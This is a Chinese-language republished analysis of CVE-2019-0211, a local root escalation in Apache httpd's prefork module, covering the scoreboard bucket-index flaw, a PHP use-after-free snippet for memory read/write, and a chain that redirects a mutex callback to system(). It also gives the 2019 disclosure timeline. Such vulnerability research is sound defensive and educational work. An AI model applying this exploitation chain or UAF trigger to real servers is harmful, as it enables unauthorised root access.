Apache Httpd本地提权漏洞分析(CVE-2019-0211)

栏目: 服务器 · Apache · 发布时间: 4年前

内容简介:一、概述近日,Apache爆出存在本地权限提升漏洞,该漏洞影响2.4.17(2015年10月9日发布)至2.4.38版本(2019年4月1日),其原因在于越界数组访问导致的任意函数调用,使得Apache HTTP将受到本地root权限提升。在Apache正常重新启动时,将会触发这一漏洞(apache2ctl graceful)。在标准Linux配置中,logrotate实用程序每天上午6:25会运行一次此命令,以便重置日志文件句柄。该漏洞影响mod_prefork、mod_worker和mod_event。

一、概述

近日,Apache爆出存在本地权限提升漏洞,该漏洞影响2.4.17(2015年10月9日发布)至2.4.38版本(2019年4月1日),其原因在于越界数组访问导致的任意函数调用,使得Apache HTTP将受到本地root权限提升。在Apache正常重新启动时,将会触发这一漏洞(apache2ctl graceful)。在标准 Linux 配置中,logrotate实用程序每天上午6:25会运行一次此命令,以便重置日志文件句柄。

该漏洞影响mod_prefork、mod_worker和mod_event。在本文的漏洞分析中,我们所分析的代码和漏洞利用目标均为mod_prefork。

二、漏洞描述

在MPM prefork中,以root身份运行的主服务器进程管理一个单线程、低权限(www-data)的工作进程池,用于处理HTTP请求。为了从工作进程那里获得反馈,Apache维护了一个共享内存区域(SHM)计分板,其中包含各种信息,例如工作进程的PID,以及它们处理的最后一个请求。每个工作进程都以维护与其PID相关联的process_score结构为目标,并且具有对SHM的完全读/写访问权限。

ap_scoreboard_image:指向共享内存块的指针

(gdb) p *ap_scoreboard_image
$3 = {
  global = 0x7f4a9323e008,
  parent = 0x7f4a9323e020,
  servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820

与工作进程PID 19447相关联的共享内存示例:

(gdb) p ap_scoreboard_image->parent[0]
$6 = {
  pid = 19447,
  generation = 0,
  quiescing = 0 '\000',
  not_accepting = 0 '\000',
  connections = 0,
  write_completion = 0,
  lingering_close = 0,
  keep_alive = 0,
  suspended = 0,
  bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
    pid_t pid;
    ap_generation_t generation;
    char quiescing;
    char not_accepting;
    apr_uint32_t connections;
    apr_uint32_t write_completion;
    apr_uint32_t lingering_close;
    apr_uint32_t keep_alive;
    apr_uint32_t suspended;
    int bucket; <- index for all_buckets
}

当Apache正常重启时,其主进程会杀死旧的Worker,并用新的Worker替换它们。此时,主进程将使用每个旧Worker的Bucket值,来访问他的all_buckets数组。

all_buckets
(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
  pod = 0x7f19db2c7408,
  listeners = 0x7f19db35e9d0,
  mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
    ...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
    ...
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    ...
}

在这里,并没有发生绑定检查。因此,攻击者的恶意Worker可以更改其Bucket索引,并使其指向共享内存,以便在重新启动时控制prefork_child_bucket结构。最终,在删除权限之前,调用mutex->meth->child_init()。这导致以root身份执行任意函数调用。

三、易受攻击的代码

我们将在server/mpm/prefork/prefork.c中找到漏洞发生的位置和方式。

恶意Worker在共享内存中更改其Bucket索引,使其指向它的结构,也同样在SHM中。

在转天上午的6:25,logrotate请求从Apache正常重启。

在此之后,主要的Apache进程将首先杀死Worker,然后产生新的Worker。

通过向Worker发送SIGUSR1来完成进程的终止,预计可以迅速退出。

然后,调用prefork_run()(L853)来生成新的Worker。由于retained->mpm->was_graceful为True(L861),Worker不会立即重启。

相反,我们进入主循环(L933)并监视被终止Worker的PID。当旧Worker被终止时,ap_wait_or_timeout()返回其PID(L940)。

与此PID相关联的process_score结构的索引存储在child_slot(L948)中。

如果这个Worker被终止,但没有产生致命错误(L969),那么使用ap_get_scoreboard_process(child_slot)->bucket作为第三个参数调用make_child()(L985)。如前所述,一个恶意的Worker改变了Bucket的值。

make_child()创建一个新的子进程,并对主进程进行fork()(L671)。

进行OOB读取(L691),因此my_bucket受到攻击者的控制。

调用child_main()(L722),函数调用在后续还会发生。

如果Apache侦听两个或更多端口,那么SAFE_ACCEPT(<code>)将只会执行<code>,这通常是由于服务器侦听HTTP(80端口)和HTTPS(443端口)。

假设<code>被执行,则会调用apr_proc_mutex_child_init(),这将导致调用(*mutex)->meth->child_init(mutex, pool, fname),并且控制互斥锁。

在执行后,特权将会被提升(L446)。

四、漏洞利用

漏洞利用过程分为四个步骤:

1. 获取工作进程中的R/W访问权限。

2. 在SHM中编写伪造的prefork_child_bucket结构。

3. 使all_buckets[bucket]指向结构。

4. 等待早上6:25获取任意函数调用。

其优点在于,主进程永远不会退出,因此我们通过读取/proc/self/maps就可以知道所有内容的映射位置(ASLR和PIE没有作用)。当一个Worker被终止(或发生段错误时),会被主进程自动重启,因此没有对Apache进行DOS的风险。

其问题在于,PHP不允许对/proc/self/mem进行读取/写入,我们无法通过简单地编辑SHM来实现在正常重启后重新分配all_buckets。

1. 获得Worker进程的读取/写入访问权限

(1) PHP UAF 0-day

由于mod_prefork经常与mod_php结合使用,因此通过 PHP 进行漏洞利用似乎非常自然。CVE-2019-6977是一个完美的备选漏洞,但我在最初开始编写漏洞利用代码时,这个漏洞并没有出现。我在PHP 7.x中使用了一个UAF 0-day漏洞(似乎也适用于PHP 5.x)。

PHP UAF

<?php
 
class X extends DateInterval implements JsonSerializable
{
  public function jsonSerialize()
  {
    global $y, $p;
    unset($y[0]);
    $p = $this->y;
    return $this;
  }
}
 
function get_aslr()
{
  global $p, $y;
  $p = 0;
 
  $y = [new X('PT1S')];
  json_encode([1234 => &$y]);
  print("ADDRESS: 0x" . dechex($p) . "\n");
 
  return $p;
}
 
get_aslr();

这是一个PHP对象存在的UAF漏洞:我们取消设置$y[0](X的一个实例),但它仍然可以使用$this。

(2) UAF读取/写入

我们想要实现两件事:读取内存以查找all_buckets的地址,以及编辑SHM以更改Bucket索引,并添加我们的自定义互斥结构。

幸运的是,PHP的堆位于内存中的两个位置之前。

PHP堆的内存地址ap_scoreboard_image->*和all_buckets

<a href="/cdn-cgi/l/email-protection" data-cfemail="493b26263d092839283c2b3c273d3c">[email protected]</a>:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so
 
(gdb) p *ap_scoreboard_image
$14 = {
  global = 0x7f4a9323e008,
  parent = 0x7f4a9323e020,
  servers = 0x55835eddea78
}
(gdb) p all_buckets
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

由于我们在PHP对象上触发UAF,因此该对象的任何属性也将是UAF。我们可以将这个zend_object UAF转换为zend_string。由于zend_string的结构,这非常有帮助:

(gdb) ptype zend_string
type = struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1];
}

Len属性包含字符串的长度。通过对其进行递增,我们可以在内存中进一步实现读写,从而访问我们感兴趣的两个内存区域:SHM和Apache的all_buckets。

(3) 定位Bucket索引和all_buckets

我们想要为某个worker_id更改ap_scoreboard_image->parent[worker_id]->bucket。幸运的是,结构总是从共享内存块的开头开始,因此很容易能够找到。

共享内存位置,并以process_score结构为目标

<a href="/cdn-cgi/l/email-protection" data-cfemail="14667b7b60547564756176617a6061">[email protected]</a>:~# cat /proc/6318/maps | grep rw-s
7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052                      /dev/zero (deleted)
 
(gdb) p &ap_scoreboard_image->parent[0]
$18 = (process_score *) 0x7f4a9323e020
(gdb) p &ap_scoreboard_image->parent[1]
$19 = (process_score *) 0x7f4a9323e044

要找到all_buckets,可以利用我们对prefork_child_bucket结构的了解。目前,我们已经掌握:

Bucket条目的重要结构

prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}
 
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
 
    ...
}
 
apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
    apr_lockmech_e mech;
    const char *name;
}

all_buckets[0]->mutex将与all_buckets[0]位于同一内存区域。由于meth是一个静态结构,它将位于libapr的.data中。由于meth指向libapr中定义的函数,因此每个函数指针都位于libapr的.text中。

由于我们通过/proc/self/maps能够掌握这些区域的地址,因此我们可以浏览Apache内存中的每个指针,并找到与结构匹配的指针。这也就是all_buckets[0]。

正如我所提到的,all_buckets的地址在每次正常重启时都会发生变化。这意味着,但我们的漏洞被触发时,all_buckets的地址将与我们找到的地址有所不同。我们必须要考虑到这一点,稍后将会讨论到这一方面。

2. 在SHM中写入一个伪造的prefork_child_bucket结构

(1) 到达函数调用

任意函数调用的代码路径如下:

bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)

Apache Httpd本地提权漏洞分析(CVE-2019-0211)

(2) 调用一些正确的东西

为了实现漏洞利用,我们使(*mutex)->meth->child_init指向zend_object_std_dtor(zend_object *object),将会产生以下链:

mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object)
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)

pDestructor设置为system,&ht->arData[0]->val是字符串。

Apache Httpd本地提权漏洞分析(CVE-2019-0211)

如我们所见,两个最左边的结构都是叠加的。

3. 使all_buckets[bucket]指向结构

(1) 问题和解决方案

现在,如果all_buckets的地址在重新启动的前后没有变化,那么我们的漏洞利用可以按照下述步骤来实现:

1. 在PHP堆之后获取所有内存的读取/写入。

2. 通过匹配其结构来查找all_buckets。

3. 将我们的结构放入SHM中。

4. 更改SHM中的process_score.bucket之一,以使all_bucket[bucket]->mutex指向我们的Payload。

随着all_bucket的地址发生变化,我们可以做两件事来提升其可靠性:喷射(Spray)SHM并使用每个process_score结构,一个对应一个PID。

(2) 喷射共享内存

如果all_buckets的新地址离旧地址不远,my_bucket将指向我们的结构。因此,我们可以将其全部喷射在SHM的未使用部分上,而不是将我们的prefork_child_bucket结构放在SHM的准确位置。问题是,该结构也用作zend_object,因此它的大小为(5 * 8) = 40字节,从而使其包含zend_object.properties。在如此之小的空间上,喷射一个相对较大的结构,对我们来说并没有什么帮助。为了解决这个问题,我们叠加了两个中心结构,apr_proc_mutex_t和zend_array,并将它们的地址喷射到共享内存的其余部分。其结果是,现在prefork_child_bucket.mutex和zend_object.properties将指向同一地址。现在,如果all_bucket的重新定位没有距离其原始地址太远,那么my_bucket将会位于喷射区域。

Apache Httpd本地提权漏洞分析(CVE-2019-0211)

(3) 使用每个process_score

每个Apache Worker都有一个关联的process_score结构,并带有一个Bucket索引。我们可以改变它们之中的每一个,而不是仅仅改变其中的一个process_score.bucket值,以便覆盖内存的另一部分。示例如下:

ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000

这样一来,我们的成功率就是原始成功率乘以Apache Worker的数量。在重新派生时,只有一个Worker具有一个有效的Bucket编号,但这并不是问题,因为其他的会发生崩溃,并且立即重新派生。

(4) 成功率

不同的Apache服务器具有不同数量的Worker。拥有更多的Worker就意味着我们可以在更少的内存上喷射互斥锁的地址,但这也同时意味着我们可以为all_buckets指定更多的索引。如果拥有更多Worker,就能提高我们的成功率。在实际测试中,我们在Apache服务器上尝试了4个Worker(默认),我的成功率大概在80%。随着提升Worker的数量,成功率可以提升至100%左右。

同样,如果漏洞利用失败,它可以在第二天重新启动,因为Apache仍然会正常重启。然而,Apache的error.log将包含其Worker段错误的通知。

4. 等待早上6:25触发攻击

显然,这是最轻松的一个步骤。

五、时间节点

2019年2月22日 首次发送电子邮件到security[at]apache[dot]org,提交漏洞说明和PoC。

2019年3月7日 Apache的安全团队发送一个补丁给我,以便进行安全检查,并分配了CVE。

2019年3月10日 确认该补丁没有问题。

2019年4月1日 Apache HTTP 2.4.39版本发布。

Apache团队针对漏洞情况,迅速做出响应,并且修复了漏洞。这段漏洞发现与漏洞提交的经历非常棒,而PHP则从未回复过有关UAF的漏洞。

六、问题解答

1. 名称的由来?

CARPE:代表CVE-20019-0211 Apache Root Privilege Escalation(Apache Root权限提升漏洞)。

DIEM:漏洞每天被触发一次。

2. 漏洞利用方法是否可以再进一步改进?

答案是肯定的。举例来说,我对于Bucket索引的计算就是不稳定的。我选择的方法,是在PoC和适当的漏洞利用之间。顺便,我也添加了大量的说明,这一点也可能会对大家有所启示。

3. 该漏洞是否以PHP为目标?

不,该漏洞仅针对Apache HTTP服务器。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

高效前端:Web高效编程与优化实践

高效前端:Web高效编程与优化实践

李银城 著 / 机械工业出版社 / 2018-3-15 / 89.00元

这不是一本单纯讲解前端编程技巧的书,而是一本注重思想提升和内功修炼的书。 全书以问题为导向,精选了前端开发中的34个疑难问题,从分析问题的原因入手,逐步给出解决方案,并分析各种方案的优劣,最后针对每个问题总结出高效编程的最佳实践和各种性能优化的方法。 全书共7章,内容从逻辑上大致可以分为两大类: 第一类,偏向实践,围绕HTML、CSS、JavaScript等传统前端技术,以及PW......一起来看看 《高效前端:Web高效编程与优化实践》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

MD5 加密
MD5 加密

MD5 加密工具